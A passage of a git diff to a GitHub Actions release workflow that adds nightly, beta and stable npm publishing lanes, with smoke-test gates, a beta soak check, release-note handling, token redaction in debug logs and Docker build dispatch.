skip_soak_justification: + description: (stable) Written justification for publishing a stable whose source has not soaked as a beta for 3 days. Leave empty for normal releases. + required: false + type: string dry_run: - description: Preview the stable release without publishing + description: Preview the release without publishing required: true type: boolean default: false @@ -25,6 +49,20 @@ concurrency: group: release-${{ github.event_name }}-${{ github.ref }} cancel-in-progress: false +env: + # npm accepts a publish immediately, but the registry's CDN can lag packument + # propagation by several minutes (observed 2.5-4+ minutes on 2026-08-21, + # which failed four consecutive canary runs mid-loop). Give release.sh's + # post-publish visibility poll a 10-minute budget per package instead of its + # 60-second default; a healthy publish still exits the poll on the first + # visible check. (A 5-minute budget missed by seconds on 2026-08-21: + # adapter-opencode-local was accepted at 07:02:27 and became visible at + # 07:07:40.) The publish jobs' timeout-minutes are sized for several + # laggard packages; if most of a batch lags the full budget, npm is having + # a real incident and the job failing is correct. + NPM_PUBLISH_VERIFY_ATTEMPTS: "60" + NPM_PUBLISH_VERIFY_DELAY_SECONDS: "10" + jobs: verify_canary: if: github.event_name == 'push' @@ -36,7 +74,7 @@ jobs: if: github.event_name == 'push' needs: verify_canary runs-on: ubuntu-latest - timeout-minutes: 45 + timeout-minutes: 90 environment: npm-canary permissions: contents: write @@ -97,15 +135,761 @@ jobs: fi git push origin "refs/tags/${tag}" - verify_stable: - if: github.event_name == 'workflow_dispatch' + # ----- Nightly lane ----------------------------------------------------- + # Once a night (or on a forced nightly dispatch), promote the newest master + # commit that already shipped a green canary: smoke-test that exact + # published canary first, then republish the same commit under the nightly + # identity. The candidate commit already passed release-verify during its + # canary publish, so the nightly publish skips re-verification. + + select_nightly: + if: github.event_name == 'schedule' || (github.event_name == 'workflow_dispatch' && inputs.channel == 'nightly') + runs-on: ubuntu-latest + timeout-minutes: 10 + permissions: + contents: read + outputs: + proceed: ${{ steps.select.outputs.proceed }} + sha: ${{ steps.select.outputs.sha }} + canary_version: ${{ steps.select.outputs.canary_version }} + steps: + - name: Checkout repository + uses: actions/checkout@v7 + with: + ref: master + fetch-depth: 0 + + - name: Select nightly candidate + id: select + env: + EXPLICIT_CANARY_VERSION: ${{ github.event_name == 'workflow_dispatch' && inputs.source_version || '' }} + run: | + set -euo pipefail + + git fetch origin --tags --prune --quiet + + skip() { + echo "proceed=false" >> "$GITHUB_OUTPUT" + { + echo "## Nightly skipped" + echo "" + echo "$1" + } >> "$GITHUB_STEP_SUMMARY" + echo "Nightly skipped: $1" + } + + if [ -n "${EXPLICIT_CANARY_VERSION:-}" ]; then + tag="canary/v${EXPLICIT_CANARY_VERSION}" + sha="$(git rev-list -n 1 "$tag" 2>/dev/null || true)" + if [ -z "$sha" ]; then + echo "Error: tag $tag does not exist." >&2 + exit 1 + fi + else + # Newest canary-tagged commit on master. Canary tags are pushed + # only after a successful canary publish, so tag presence is the + # green-publish signal. Walk master newest-first and stop at the + # first commit that carries a canary tag. + sha="$(grep -m1 -F \ + -f <(git for-each-ref 'refs/tags/canary/v*' --format='%(objectname)') \ + <(git rev-list origin/master -n 500) || true)" + + if [ -z "$sha" ]; then + skip "No canary/v* tag found on the last 500 commits of master." + exit 0 + fi + + tag="$(git tag --points-at "$sha" | grep '^canary/v' | sort -V | tail -1)" + fi + + canary_version="${tag#canary/v}" + + existing_nightly="$(git tag --points-at "$sha" | grep '^nightly/v' | head -1 || true)" + if [ -n "$existing_nightly" ]; then + skip "Candidate \`$sha\` (canary \`$canary_version\`) already shipped as \`$existing_nightly\`." + exit 0 + fi + + # Promotions run the release tooling of the source commit, so the + # source must already understand the nightly channel. (Literal match + # of release.sh's channel case arm; if that line is reformatted this + # fails closed and should be updated alongside it.) + if ! git show "${sha}:scripts/release.sh" | grep -qF 'canary|nightly'; then + echo "Error: source commit $sha predates nightly release tooling; promote a newer canary." >&2 + exit 1 + fi + + echo "proceed=true" >> "$GITHUB_OUTPUT" + echo "sha=$sha" >> "$GITHUB_OUTPUT" + echo "canary_version=$canary_version" >> "$GITHUB_OUTPUT" + { + echo "## Nightly candidate" + echo "" + echo "- Source SHA: \`$sha\`" + echo "- Source canary: \`$canary_version\`" + } >> "$GITHUB_STEP_SUMMARY" + + # Gate the promotion on the release smoke suite, run against the exact + # published canary artifact that would become tonight's nightly. Red smoke + # means no nightly tonight. Skipped for dry-run dispatches. + smoke_nightly: + needs: select_nightly + if: needs.select_nightly.outputs.proceed == 'true' && !(github.event_name == 'workflow_dispatch' && inputs.dry_run) + uses: ./.github/workflows/release-smoke.yml + with: + paperclip_version: ${{ needs.select_nightly.outputs.canary_version }} + artifact_name: nightly-release-smoke + + publish_nightly: + needs: [select_nightly, smoke_nightly] + # Publish when smoke passed, or when smoke was deliberately skipped by a + # dry-run dispatch (the publish itself is a dry-run in that case). + if: >- + !cancelled() && + needs.select_nightly.outputs.proceed == 'true' && + (needs.smoke_nightly.result == 'success' || + (needs.smoke_nightly.result == 'skipped' && github.event_name == 'workflow_dispatch' && inputs.dry_run)) + runs-on: ubuntu-latest + timeout-minutes: 90 + environment: npm-canary + # The workflow-level concurrency group is per event, so a forced dispatch + # nightly could otherwise overlap the scheduled one and race it to the + # same next -nightly.N version. Serialize actual nightly publishes across + # events here; release.sh additionally refuses to double-publish a commit + # that already carries a nightly tag. + concurrency: + group: release-publish-nightly + cancel-in-progress: false + permissions: + contents: write + id-token: write + actions: write + + steps: + - name: Checkout repository + uses: actions/checkout@v7 + with: + ref: ${{ needs.select_nightly.outputs.sha }} + fetch-depth: 0 + + - name: Setup pnpm + uses: pnpm/action-setup@v6 + with: + version: 9.15.4 + + - name: Setup Node.js + uses: actions/setup-node@v7 + with: + node-version: 24 + cache: pnpm + + - name: Validate release package manifest + run: node ./scripts/release-package-map.mjs check + + - name: Install dependencies + run: pnpm install --no-frozen-lockfile + + - name: Restore tracked install-time changes + run: git checkout -- pnpm-lock.yaml + + - name: Configure git author + run: | + git config user.name "github-actions[bot]" + git config user.email "41898282+github-actions[bot]@users.noreply.github.com" + + - name: Publish nightly + env: + GITHUB_ACTIONS: "true" + run: | + args=(nightly --skip-verify) + if [ "${{ github.event_name == 'workflow_dispatch' && inputs.dry_run }}" = "true" ]; then + args+=(--dry-run) + fi + ./scripts/release.sh "${args[@]}" + + - name: Dump npm debug logs + if: failure() + run: | + shopt -s nullglob + for f in "$HOME"/.npm/_logs/*.log; do + echo "===== $f =====" + tail -n 300 "$f" | sed -E \ + -e 's#((authorization|_authToken|_auth|node_auth_token|npm_token)"?[[:space:]]*[:=][[:space:]]*"?)(Bearer[[:space:]]+)?[^",[:space:]]+#\1***REDACTED***#Ig' + done + + - name: Push nightly tag + if: ${{ !(github.event_name == 'workflow_dispatch' && inputs.dry_run) }} + run: | + tag="$(git tag --points-at HEAD | grep '^nightly/v' | head -1)" + if [ -z "$tag" ]; then + echo "Error: no nightly tag points at HEAD after release." >&2 + exit 1 + fi + if ! git push origin "refs/tags/${tag}"; then + sha="$(git rev-parse HEAD)" + { + echo "## Tag push rejected" + echo "" + echo "The npm publish succeeded, but pushing \`${tag}\` was rejected." + echo "This usually means the tagged commit modifies workflow files," + echo "which GITHUB_TOKEN may not reference when creating refs from" + echo "dispatch or scheduled runs. Recover with maintainer credentials:" + echo "" + echo '```' + echo "git tag ${tag} ${sha}" + echo "git push origin refs/tags/${tag}" + echo "gh workflow run docker.yml --ref refs/tags/${tag}" + echo '```' + } >> "$GITHUB_STEP_SUMMARY" + echo "::error::Tag push rejected; see the job summary for recovery commands." >&2 + exit 1 + fi + + # Tag pushes made with GITHUB_TOKEN do not fire docker.yml's tag + # trigger (GitHub suppresses workflow runs caused by GITHUB_TOKEN + # pushes), so dispatch the image build at the new tag explicitly. + - name: Build Docker images for the nightly tag + if: ${{ !(github.event_name == 'workflow_dispatch' && inputs.dry_run) }} + env: + GH_TOKEN: ${{ github.token }} + run: | + tag="$(git tag --points-at HEAD | grep '^nightly/v' | head -1)" + { + echo "## Nightly published" + echo "" + echo "- Source SHA: \`${{ needs.select_nightly.outputs.sha }}\`" + echo "- Source canary: \`${{ needs.select_nightly.outputs.canary_version }}\`" + echo "- Published nightly: \`${tag#nightly/v}\`" + echo "- Docker build dispatched at \`${tag}\`" + } >> "$GITHUB_STEP_SUMMARY" + gh workflow run docker.yml --ref "refs/tags/${tag}" --repo "$GITHUB_REPOSITORY" + + # ----- Beta lane -------------------------------------------------------- + # Beta is a manual, human-approved promotion of a nightly. Unlike the + # scheduled nightly lane, a beta dispatch is explicit operator intent, so + # selection problems fail the run loudly instead of skipping quietly. The + # publish runs behind the npm-beta environment, whose required reviewers + # are the approval gate. + + select_beta: + if: github.event_name == 'workflow_dispatch' && inputs.channel == 'beta' + runs-on: ubuntu-latest + timeout-minutes: 10 + permissions: + contents: read + outputs: + sha: ${{ steps.select.outputs.sha }} + nightly_version: ${{ steps.select.outputs.nightly_version }} + mode: ${{ steps.select.outputs.mode }} + steps: + - name: Checkout repository + uses: actions/checkout@v7 + with: + ref: master + fetch-depth: 0 + + - name: Select beta candidate + id: select + env: + EXPLICIT_NIGHTLY_VERSION: ${{ inputs.source_version }} + CANDIDATE_BRANCH: ${{ inputs.candidate_branch }} + run: | + set -euo pipefail + + git fetch origin --tags --prune --quiet + + # Candidate mode: build a cherry-picked beta from a short-lived + # candidate branch instead of promoting a nightly. + if [ -n "${CANDIDATE_BRANCH:-}" ]; then + if [ -n "${EXPLICIT_NIGHTLY_VERSION:-}" ]; then + echo "Error: candidate_branch and source_version are mutually exclusive." >&2 + exit 1 + fi + case "$CANDIDATE_BRANCH" in + candidate/beta-*) ;; + *) + echo "Error: candidate branches must be named candidate/beta- (got: $CANDIDATE_BRANCH)." >&2 + exit 1 + ;; + esac + git fetch origin "$CANDIDATE_BRANCH" --quiet + sha="$(git rev-parse --verify "origin/${CANDIDATE_BRANCH}^{commit}" 2>/dev/null || true)" + if [ -z "$sha" ]; then + echo "Error: candidate branch $CANDIDATE_BRANCH does not exist on origin." >&2 + exit 1 + fi + + existing_beta="$(git tag --points-at "$sha" | grep '^beta/v' | head -1 || true)" + if [ -n "$existing_beta" ]; then + echo "Error: candidate head $sha already shipped as $existing_beta." >&2 + exit 1 + fi + + if ! git show "${sha}:scripts/release.sh" | grep -qF -- '--from-candidate'; then + echo "Error: candidate head $sha predates candidate-build release tooling; rebase the candidate onto a newer base." >&2 + exit 1 + fi + + merge_base="$(git merge-base origin/master "$sha")" + echo "mode=candidate" >> "$GITHUB_OUTPUT" + echo "sha=$sha" >> "$GITHUB_OUTPUT" + echo "nightly_version=" >> "$GITHUB_OUTPUT" + { + echo "## Beta candidate branch" + echo "" + echo "- Branch: \`$CANDIDATE_BRANCH\`" + echo "- Head: \`$sha\`" + echo "- Base (merge-base with master): \`$merge_base\`" + echo "- Cherry-picked commits:" + echo "" + echo '\`\`\`' + git log --oneline "${merge_base}..${sha}" + echo '\`\`\`' + } >> "$GITHUB_STEP_SUMMARY" + exit 0 + fi + + echo "mode=promote" >> "$GITHUB_OUTPUT" + + if [ -n "${EXPLICIT_NIGHTLY_VERSION:-}" ]; then + tag="nightly/v${EXPLICIT_NIGHTLY_VERSION}" + sha="$(git rev-list -n 1 "$tag" 2>/dev/null || true)" + if [ -z "$sha" ]; then + echo "Error: tag $tag does not exist." >&2 + exit 1 + fi + else + # Newest nightly-tagged commit on master. + sha="$(grep -m1 -F \ + -f <(git for-each-ref 'refs/tags/nightly/v*' --format='%(objectname)') \ + <(git rev-list origin/master -n 2000) || true)" + + if [ -z "$sha" ]; then + echo "Error: no nightly/v* tag found on the last 2000 commits of master. Publish a nightly first, or pass source_version." >&2 + exit 1 + fi + + tag="$(git tag --points-at "$sha" | grep '^nightly/v' | sort -V | tail -1)" + fi + + nightly_version="${tag#nightly/v}" + + existing_beta="$(git tag --points-at "$sha" | grep '^beta/v' | head -1 || true)" + if [ -n "$existing_beta" ]; then + echo "Error: candidate $sha (nightly $nightly_version) already shipped as $existing_beta." >&2 + exit 1 + fi + + # Promotions run the release tooling of the source commit, so the + # source must already understand the beta channel. (Literal match of + # release.sh's channel case arm; if that line is reformatted this + # fails closed and should be updated alongside it.) + if ! git show "${sha}:scripts/release.sh" | grep -qF 'canary|nightly|beta|stable)'; then + echo "Error: source commit $sha predates beta release tooling; promote a newer nightly whose source contains the beta channel." >&2 + exit 1 + fi + + echo "sha=$sha" >> "$GITHUB_OUTPUT" + echo "nightly_version=$nightly_version" >> "$GITHUB_OUTPUT" + { + echo "## Beta candidate" + echo "" + echo "- Source SHA: \`$sha\`" + echo "- Source nightly: \`$nightly_version\`" + } >> "$GITHUB_STEP_SUMMARY" + + # Candidate-branch heads are new commits that never went through a canary + # or nightly, so they must pass full verification before publishing. + # Promoted nightlies were already verified by their canary run and skip it. + verify_beta_candidate: + needs: select_beta + if: needs.select_beta.outputs.mode == 'candidate' uses: ./.github/workflows/release-verify.yml with: - ref: ${{ inputs.source_ref }} + ref: ${{ needs.select_beta.outputs.sha }} + + publish_beta: + needs: [select_beta, verify_beta_candidate] + if: >- + !cancelled() && + needs.select_beta.result == 'success' && + (needs.verify_beta_candidate.result == 'success' || + (needs.verify_beta_candidate.result == 'skipped' && needs.select_beta.outputs.mode == 'promote')) + runs-on: ubuntu-latest + timeout-minutes: 90 + environment: npm-beta + # Serialize beta publishes so two dispatches cannot race to the same next + # -beta.N version; release.sh additionally refuses to double-publish a + # commit that already carries a beta tag. + concurrency: + group: release-publish-beta + cancel-in-progress: false + permissions: + contents: write + id-token: write + actions: write + outputs: + beta_version: ${{ steps.result.outputs.beta_version }} + + steps: + - name: Checkout repository + uses: actions/checkout@v7 + with: + ref: ${{ needs.select_beta.outputs.sha }} + fetch-depth: 0 + + - name: Setup pnpm + uses: pnpm/action-setup@v6 + with: + version: 9.15.4 + + - name: Setup Node.js + uses: actions/setup-node@v7 + with: + node-version: 24 + cache: pnpm + + - name: Validate release package manifest + run: node ./scripts/release-package-map.mjs check + + - name: Install dependencies + run: pnpm install --no-frozen-lockfile + + - name: Restore tracked install-time changes + run: git checkout -- pnpm-lock.yaml + + - name: Configure git author + run: | + git config user.name "github-actions[bot]" + git config user.email "41898282+github-actions[bot]@users.noreply.github.com" + + - name: Publish beta + env: + GITHUB_ACTIONS: "true" + run: | + args=(beta --skip-verify) + if [ "${{ needs.select_beta.outputs.mode }}" = "candidate" ]; then + args+=(--from-candidate) + fi + if [ "${{ inputs.dry_run }}" = "true" ]; then + args+=(--dry-run) + fi + ./scripts/release.sh "${args[@]}" + + - name: Dump npm debug logs + if: failure() + run: | + shopt -s nullglob + for f in "$HOME"/.npm/_logs/*.log; do + echo "===== $f =====" + tail -n 300 "$f" | sed -E \ + -e 's#((authorization|_authToken|_auth|node_auth_token|npm_token)"?[[:space:]]*[:=][[:space:]]*"?)(Bearer[[:space:]]+)?[^",[:space:]]+#\1***REDACTED***#Ig' + done + + - name: Push beta tag + if: ${{ !inputs.dry_run }} + run: | + tag="$(git tag --points-at HEAD | grep '^beta/v' | head -1)" + if [ -z "$tag" ]; then + echo "Error: no beta tag points at HEAD after release." >&2 + exit 1 + fi + if ! git push origin "refs/tags/${tag}"; then + sha="$(git rev-parse HEAD)" + { + echo "## Tag push rejected" + echo "" + echo "The npm publish succeeded, but pushing \`${tag}\` was rejected." + echo "This usually means the tagged commit modifies workflow files," + echo "which GITHUB_TOKEN may not reference when creating refs from" + echo "dispatch or scheduled runs. Recover with maintainer credentials:" + echo "" + echo '```' + echo "git tag ${tag} ${sha}" + echo "git push origin refs/tags/${tag}" + echo "gh workflow run docker.yml --ref refs/tags/${tag}" + echo '```' + } >> "$GITHUB_STEP_SUMMARY" + echo "::error::Tag push rejected; see the job summary for recovery commands." >&2 + exit 1 + fi + + # Tag pushes made with GITHUB_TOKEN do not fire docker.yml's tag + # trigger (GitHub suppresses workflow runs caused by GITHUB_TOKEN + # pushes), so dispatch the image build at the new tag explicitly. + - name: Build Docker images for the beta tag + id: result + if: ${{ !inputs.dry_run }} + env: + GH_TOKEN: ${{ github.token }} + run: | + tag="$(git tag --points-at HEAD | grep '^beta/v' | head -1)" + echo "beta_version=${tag#beta/v}" >> "$GITHUB_OUTPUT" + { + echo "## Beta published" + echo "" + echo "- Source SHA: \`${{ needs.select_beta.outputs.sha }}\`" + echo "- Source nightly: \`${{ needs.select_beta.outputs.nightly_version }}\`" + echo "- Published beta: \`${tag#beta/v}\`" + echo "- Docker build dispatched at \`${tag}\`" + } >> "$GITHUB_STEP_SUMMARY" + gh workflow run docker.yml --ref "refs/tags/${tag}" --repo "$GITHUB_REPOSITORY" + + # Draft the eventual stable's release notes the moment the beta exists: + # the promoted bits are frozen now, and the 3-day soak is the natural + # review window. The draft lands on a machine-owned branch; a human opens + # and merges the PR, because a PR created with GITHUB_TOKEN would not + # trigger the pr.yml checks a merge requires. + draft_stable_notes: + needs: [select_beta, publish_beta] + if: ${{ !cancelled() && !inputs.dry_run && needs.publish_beta.result == 'success' }} + runs-on: ubuntu-latest + timeout-minutes: 10 + permissions: + contents: write + steps: + - name: Checkout repository + uses: actions/checkout@v7 + with: + ref: master + fetch-depth: 0 + + - name: Configure git author + run: | + git config user.name "github-actions[bot]" + git config user.email "41898282+github-actions[bot]@users.noreply.github.com" + + - name: Draft stable notes from the published beta + env: + BETA_VERSION: ${{ needs.publish_beta.outputs.beta_version }} + SOURCE_SHA: ${{ needs.select_beta.outputs.sha }} + run: | + set -euo pipefail + git fetch origin --tags --quiet + # A rejected beta tag push (the workflows-permission case) leaves + # the tag absent from origin while npm already has the beta; + # recreate it locally so drafting does not block on the manual + # tag recovery. + if ! git rev-parse --verify "refs/tags/beta/v${BETA_VERSION}" >/dev/null 2>&1; then + git tag "beta/v${BETA_VERSION}" "${SOURCE_SHA}" + fi + ./scripts/draft-stable-notes.sh "${BETA_VERSION}" + + - name: Push the draft branch + env: + BETA_VERSION: ${{ needs.publish_beta.outputs.beta_version }} + run: | + set -euo pipefail + branch="release-notes/v${BETA_VERSION}" + git checkout -B "$branch" + git add "releases/beta/v${BETA_VERSION}.md" + git commit -m "docs(release): draft stable notes for beta ${BETA_VERSION}" + # Machine-owned branch: force push so a re-run regenerates cleanly. + git push -f origin "$branch" + { + echo "## Stable notes draft pushed" + echo "" + echo "- Branch: \`${branch}\`" + echo "- Open the PR (a human opens it so CI runs):" + echo " https://github.com/${GITHUB_REPOSITORY}/compare/master...${branch}?expand=1" + echo "- Edit it during the soak. The stable promotion reads" + echo " \`releases/beta/v${BETA_VERSION}.md\` from master." + } >> "$GITHUB_STEP_SUMMARY" + + # Post-publish verification: run the release smoke suite against the exact + # beta version that was just published. + # + # The condition must carry an explicit status-check function: without one, + # GitHub attaches an implicit success(), which evaluates the needs chain + # transitively — and publish_beta's chain contains verify_beta_candidate, + # which is skipped on every promote-mode beta. The implicit form silently + # skipped this job on the first promote-mode beta after the candidate + # lane landed. + smoke_beta: + needs: publish_beta + if: ${{ !cancelled() && needs.publish_beta.result == 'success' && !inputs.dry_run }} + uses: ./.github/workflows/release-smoke.yml + with: + paperclip_version: ${{ needs.publish_beta.outputs.beta_version }} + artifact_name: beta-release-smoke + + # ----- Stable lane ------------------------------------------------------ + + # Stable releases promote a soaked beta. The preflight enforces that the + # source commit shipped as a beta at least 3 days ago (measured from the + # npm publish time of that beta version), unless a written justification + # is provided. Dry runs report soak state without blocking. + # Resolves source_ref to an immutable commit exactly once; every downstream + # stable job consumes that SHA. Otherwise a branch or movable tag that + # advances mid-run could be soak-checked at one commit and verified or + # published at another. + preflight_stable: + if: github.event_name == 'workflow_dispatch' && inputs.channel == 'stable' + runs-on: ubuntu-latest + timeout-minutes: 10 + permissions: + contents: read + outputs: + sha: ${{ steps.soak.outputs.sha }} + beta_version: ${{ steps.soak.outputs.beta_version }} + stable_version: ${{ steps.notes.outputs.stable_version }} + notes_mode: ${{ steps.notes.outputs.notes_mode }} + notes_path: ${{ steps.notes.outputs.notes_path }} + notes_ref: ${{ steps.notes.outputs.notes_ref }} + steps: + - name: Checkout repository + uses: actions/checkout@v7 + with: + ref: master + fetch-depth: 0 + + - name: Check beta soak + id: soak + env: + SOURCE_REF: ${{ inputs.source_ref }} + JUSTIFICATION: ${{ inputs.skip_soak_justification }} + DRY_RUN: ${{ inputs.dry_run }} + run: | + set -euo pipefail + + git fetch origin --tags --prune --quiet + + sha="$(git rev-parse --verify "${SOURCE_REF}^{commit}" 2>/dev/null || true)" + if [ -z "$sha" ]; then + git fetch origin "$SOURCE_REF" --quiet || true + sha="$(git rev-parse --verify "FETCH_HEAD^{commit}" 2>/dev/null || true)" + fi + if [ -z "$sha" ]; then + echo "Error: could not resolve source_ref '$SOURCE_REF' to a commit." >&2 + exit 1 + fi + + echo "sha=$sha" >> "$GITHUB_OUTPUT" + { + echo "## Stable source pinned" + echo "" + echo "- source_ref: \`${SOURCE_REF}\` -> \`$sha\`" + } >> "$GITHUB_STEP_SUMMARY" + + fail_or_justify() { + if [ -n "${JUSTIFICATION:-}" ]; then + { + echo "## Stable soak gate bypassed" + echo "" + echo "$1" + echo "" + echo "Justification: ${JUSTIFICATION}" + } >> "$GITHUB_STEP_SUMMARY" + echo "::warning::Soak gate bypassed: $1" + return 0 + fi + if [ "${DRY_RUN}" = "true" ]; then + echo "::warning::Soak gate would block a real release: $1" + { + echo "## Stable soak gate (dry run)" + echo "" + echo "A real release would be blocked: $1" + } >> "$GITHUB_STEP_SUMMARY" + return 0 + fi + echo "Error: $1" >&2 + echo "Pass skip_soak_justification with a written reason to release anyway." >&2 + exit 1 + } + + beta_tag="$(git tag --points-at "$sha" | grep '^beta/v' | sort -V | tail -1 || true)" + if [ -z "$beta_tag" ]; then + fail_or_justify "source commit $sha never shipped as a beta (no beta/v* tag)." + exit 0 + fi + + beta_version="${beta_tag#beta/v}" + echo "beta_version=${beta_version}" >> "$GITHUB_OUTPUT" + publish_time="$(npm view "paperclipai@${beta_version}" time --json 2>/dev/null \ + | node -e 'let d="";process.stdin.on("data",c=>d+=c).on("end",()=>{const t=JSON.parse(d);process.stdout.write(typeof t === "string" ? t : (t[process.argv[1]] ?? ""))})' "$beta_version" || true)" + if [ -z "$publish_time" ]; then + fail_or_justify "could not determine the npm publish time of beta ${beta_version}." + exit 0 + fi + + age_seconds="$(node -e 'process.stdout.write(String(Math.floor((Date.now() - Date.parse(process.argv[1])) / 1000)))' "$publish_time")" + min_seconds=$((3 * 24 * 60 * 60)) + age_days="$(node -e 'process.stdout.write((Number(process.argv[1]) / 86400).toFixed(1))' "$age_seconds")" + + if [ "$age_seconds" -lt "$min_seconds" ]; then + fail_or_justify "beta ${beta_version} has only soaked ${age_days} days (minimum is 3)." + exit 0 + fi + + { + echo "## Stable soak gate passed" + echo "" + echo "- Source beta: \`${beta_version}\`" + echo "- Soak time: ${age_days} days" + } >> "$GITHUB_STEP_SUMMARY" + + # The stable notes need not exist inside the promoted source commit: + # a promoted beta's notes are drafted on master (releases/beta/v*.md) + # at beta-publish time and edited during the soak. Resolve which copy + # publish_stable should read, and fail early — before the npm-stable + # approval gate — when none exists. Notes inside the source tree + # (the candidate fix path) take precedence. + - name: Resolve stable release notes + id: notes + env: + SHA: ${{ steps.soak.outputs.sha }} + BETA_VERSION: ${{ steps.soak.outputs.beta_version }} + STABLE_DATE: ${{ inputs.stable_date }} + DRY_RUN: ${{ inputs.dry_run }} + run: | + set -euo pipefail + + # Pin the master revision the notes were resolved at, so the + # publish and canonicalization steps read the same content even + # when master advances during the approval delay. + echo "notes_ref=$(git rev-parse HEAD)" >> "$GITHUB_OUTPUT" + + args=(stable --print-version) + if [ -n "${STABLE_DATE}" ]; then + args+=(--date "${STABLE_DATE}") + fi + version="$(./scripts/release.sh "${args[@]}")" + echo "stable_version=${version}" >> "$GITHUB_OUTPUT" + + if git cat-file -e "${SHA}:releases/v${version}.md" 2>/dev/null; then + echo "notes_mode=source_tree" >> "$GITHUB_OUTPUT" + echo "notes_path=releases/v${version}.md" >> "$GITHUB_OUTPUT" + echo "- Stable notes: \`releases/v${version}.md\` at the source commit" >> "$GITHUB_STEP_SUMMARY" + exit 0 + fi + + if [ -n "${BETA_VERSION}" ] && [ -f "releases/beta/v${BETA_VERSION}.md" ]; then + echo "notes_mode=master_beta" >> "$GITHUB_OUTPUT" + echo "notes_path=releases/beta/v${BETA_VERSION}.md" >> "$GITHUB_OUTPUT" + echo "- Stable notes: \`releases/beta/v${BETA_VERSION}.md\` on master" >> "$GITHUB_STEP_SUMMARY" + exit 0 + fi + + msg="no release notes found for stable ${version}: neither releases/v${version}.md at the source commit nor releases/beta/v${BETA_VERSION:-}.md on master. Merge the notes PR from the beta's draft branch (release-notes/v), or add the file to the source ref." + if [ "${DRY_RUN}" = "true" ]; then + echo "::warning::${msg}" + echo "- Stable notes: MISSING (a real release would be blocked)" >> "$GITHUB_STEP_SUMMARY" + echo "notes_mode=missing" >> "$GITHUB_OUTPUT" + exit 0 + fi + echo "::error::${msg}" + exit 1 + + verify_stable: + if: github.event_name == 'workflow_dispatch' && inputs.channel == 'stable' + needs: preflight_stable + uses: ./.github/workflows/release-verify.yml + with: + ref: ${{ needs.preflight_stable.outputs.sha }} preview_stable: - if: github.event_name == 'workflow_dispatch' && inputs.dry_run - needs: verify_stable + if: github.event_name == 'workflow_dispatch' && inputs.channel == 'stable' && inputs.dry_run + needs: [preflight_stable, verify_stable] runs-on: ubuntu-latest timeout-minutes: 45 permissions: @@ -116,7 +900,7 @@ jobs: uses: actions/checkout@v7 with: fetch-depth: 0 - ref: ${{ inputs.source_ref }} + ref: ${{ needs.preflight_stable.outputs.sha }} - name: Setup pnpm uses: pnpm/action-setup@v6 @@ -146,21 +930,24 @@ jobs: ./scripts/release.sh "${args[@]}" publish_stable: - if: github.event_name == 'workflow_dispatch' && !inputs.dry_run - needs: verify_stable + if: github.event_name == 'workflow_dispatch' && inputs.channel == 'stable' && !inputs.dry_run + needs: [preflight_stable, verify_stable] runs-on: ubuntu-latest - timeout-minutes: 45 + timeout-minutes: 90 environment: npm-stable permissions: contents: write id-token: write + actions: write + outputs: + stable_version: ${{ steps.tag.outputs.version }} steps: - name: Checkout repository uses: actions/checkout@v7 with: fetch-depth: 0 - ref: ${{ inputs.source_ref }} + ref: ${{ needs.preflight_stable.outputs.sha }} - name: Setup pnpm uses: pnpm/action-setup@v6 @@ -184,6 +971,22 @@ jobs: git config user.name "github-actions[bot]" git config user.email "41898282+github-actions[bot]@users.noreply.github.com" + # A promoted beta's notes live on master (drafted at beta publish, + # edited during the soak), not inside the promoted source commit — a + # commit cannot carry a file named for a promotion date that was + # unknown when it was created. Materialize them outside the worktree + # so release.sh still runs against a clean source checkout. + - name: Materialize stable release notes from master + if: needs.preflight_stable.outputs.notes_mode == 'master_beta' + env: + NOTES_REF: ${{ needs.preflight_stable.outputs.notes_ref }} + NOTES_PATH: ${{ needs.preflight_stable.outputs.notes_path }} + run: | + set -euo pipefail + git fetch origin master --quiet + git show "${NOTES_REF}:${NOTES_PATH}" > "$RUNNER_TEMP/stable-notes.md" + echo "STABLE_NOTES_FILE=$RUNNER_TEMP/stable-notes.md" >> "$GITHUB_ENV" + - name: Publish stable env: GITHUB_ACTIONS: "true" @@ -192,6 +995,9 @@ jobs: if [ -n "${{ inputs.stable_date }}" ]; then args+=(--date "${{ inputs.stable_date }}") fi + if [ -n "${STABLE_NOTES_FILE:-}" ]; then + args+=(--notes-file "$STABLE_NOTES_FILE") + fi ./scripts/release.sh "${args[@]}" - name: Dump npm debug logs @@ -205,13 +1011,53 @@ jobs: done - name: Push stable tag + id: tag run: | tag="$(git tag --points-at HEAD | grep '^v' | head -1)" if [ -z "$tag" ]; then echo "Error: no stable tag points at HEAD after release." >&2 exit 1 fi - git push origin "refs/tags/${tag}" + echo "version=${tag#v}" >> "$GITHUB_OUTPUT" + if ! git push origin "refs/tags/${tag}"; then + sha="$(git rev-parse HEAD)" + { + echo "## Tag push rejected" + echo "" + echo "The npm publish succeeded, but pushing \`${tag}\` was rejected." + echo "This usually means the tagged commit modifies workflow files," + echo "which GITHUB_TOKEN may not reference when creating refs from" + echo "dispatch or scheduled runs. Recover with maintainer credentials:" + echo "" + echo '```' + echo "git tag ${tag} ${sha}" + echo "git push origin refs/tags/${tag}" + echo "gh workflow run docker.yml --ref refs/tags/${tag}" + echo "./scripts/create-github-release.sh ${tag#v}" + echo '```' + } >> "$GITHUB_STEP_SUMMARY" + echo "::error::Tag push rejected; see the job summary for recovery commands." >&2 + exit 1 + fi + + # Tag pushes made with GITHUB_TOKEN do not fire docker.yml's tag + # trigger (GitHub suppresses workflow runs caused by GITHUB_TOKEN + # pushes), so dispatch the image build at the new tag explicitly. This + # is what moves Docker `:latest` and publishes the versioned stable + # image tags. + - name: Build Docker images for the stable tag + env: + GH_TOKEN: ${{ github.token }} + run: | + tag="$(git tag --points-at HEAD | grep '^v' | head -1)" + if gh workflow run docker.yml --ref "refs/tags/${tag}" --repo "$GITHUB_REPOSITORY"; then + echo "Dispatched docker.yml at ${tag}." + else + # Older source commits may predate docker.yml's workflow_dispatch + # trigger; the dispatch then fails while the npm release is + # already complete and correct. + echo "::warning::Could not dispatch docker.yml at ${tag}. Run docker.yml manually at that tag to publish the stable images." + fi - name: Create GitHub Release env: @@ -223,4 +1069,59 @@ jobs: echo "Error: no v* tag points at HEAD after stable release." >&2 exit 1 fi - ./scripts/create-github-release.sh "$version" + args=("$version") + if [ -n "${STABLE_NOTES_FILE:-}" ]; then + args+=(--notes-file "$STABLE_NOTES_FILE") + fi + ./scripts/create-github-release.sh "${args[@]}" + + # After a stable ships from master-side beta notes, move the file to its + # canonical home (releases/vYYYY.MDD.P.md) so the stable-notes invariant + # holds durably. Machine-owned branch + human-opened PR, as with the + # draft job above. + canonicalize_stable_notes: + needs: [preflight_stable, publish_stable] + if: ${{ 